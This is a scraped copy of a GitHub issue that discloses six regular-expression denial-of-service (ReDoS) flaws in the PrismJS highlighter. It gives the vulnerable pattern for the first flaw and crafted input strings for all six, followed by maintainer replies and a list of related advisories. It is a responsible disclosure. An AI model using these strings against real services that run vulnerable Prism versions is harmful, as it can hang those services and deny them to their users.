question-mark
Stuck on an issue?

Lightrun Answers was designed to reduce the constant googling that comes with debugging 3rd party libraries. It collects links to all the places you might be looking at while hunting down a tough bug.

And, if you’re still stuck at the end, we’re happy to hop on a call to see how we can help out.

Hi,

I would like to report 6 ReDoS vulnerabilities in prism (https://github.com/PrismJS/prism​).

It allows cause a denial of service if highlighting crafted codes.

  • The first ReDos The vulnerable regular expression is "(?:%\s*\n\s*%|%.|[^%"\r\n])*" and is located in

https://github.com/PrismJS/prism/blob/38f42dd668a7bf388dfe0f5ed4b07aacb23b0255/components/prism-eiffel.js#L16

The ReDOS vulnerability can be exploited with the following crafted code string

function aa(){
"%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%%

%!
}

The ReDOS vulnerability can be exploited with the following crafted code string​

+=+\r++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++!

The ReDOS vulnerability can be exploited with the following crafted code string​

= = ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​= ​

The ReDOS vulnerability can be exploited with the following crafted code string​

[1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1!

The ReDOS vulnerability can be exploited with the following crafted code string​

---​\n\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r

The ReDOS vulnerability can be exploited with the following crafted code string​

'if'+'/? '*100+'!'

I think you can limit the input length or modify this regex.

Steps To Reproduce:

  1. First download the zip file from the link below https://drive.google.com/file/d/10RJ21Xr7NRKFBjtA7IoqaRuUVO3v050V/view?usp=sharing
  2. Open the test.html in the root directory
  3. Input the above crafted code strings and select the corresponding languages

Issue Analytics

  • State:closed
  • Created 3 years ago
  • Reactions:2
  • Comments:15 (7 by maintainers)

github_iconTop GitHub Comments

1reaction
yetinglicommented, Oct 12, 2020

Thank you for reporting! I’ll fix them immediately.

@yetingli How did you find the vulnerabilities? Some of the patterns in question contain backreferences (and assertions) and I don’t know any existing technique for the static analysis of RE that can handle that. ~Did you go through the patterns by hand or do you know/~(I looked at your previous work) did you create a tool that does the analysis?

Yes, I use my tool to detect ReDos vulnerabilities. After a time, I will release my tool and welcome to use it 😃

0reactions
davisjamcommented, Oct 28, 2020

@yetingli Can you comment on how your technique differs from the work of Rathnayake / Weideman / Wustholz / Shen?

(Might be easier for you to send me an email – davisjam@purdue.edu)

Read more comments on GitHub >

github_iconTop Results From Across the Web

Regular Expression Denial of Service (ReDoS) in Prism - GitHub
When Prism is used to highlight untrusted (user-given) text, an attacker can craft a string that will take a very very long time...
Read more >
Regular Expression Denial of Service (ReDoS) in prismjs/prism ...
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the prism-asciidoc and prism-erb components.
Read more >
Regular Expression Denial of Service (ReDoS) in Prism - Vulners
Some languages before 1.24.0 are vulnerable to Regular Expression Denial of Service (ReDoS). Impact When Prism is used to highlight untrusted (user-given) ...
Read more >
Regular Expression Denial Of Service (ReDoS) Vulnerability ...
prismjs is vulnerable to Regular Expression Denial Of Service (ReDoS). An attacker is able to crash the system by submitting malicious string via...
Read more >
UnDo/ReDo Buttons - Prism Computational Sciences, Inc.
UnDo/ReDo Buttons · The state of widgets is saved onto the UnDo/ReDo stack whenever a widget state changes or whenever the Apply button...
Read more >

github_iconTop Related Medium Post

No results found

github_iconTop Related StackOverflow Question

No results found

github_iconTroubleshoot Live Code

Lightrun enables developers to add logs, metrics and snapshots to live code - no restarts or redeploys required.
Start Free

github_iconTop Related Reddit Thread

No results found

github_iconTop Related Hackernoon Post

No results found

github_iconTop Related Tweet

No results found

github_iconTop Related Dev.to Post

No results found

github_iconTop Related Hashnode Post

No results found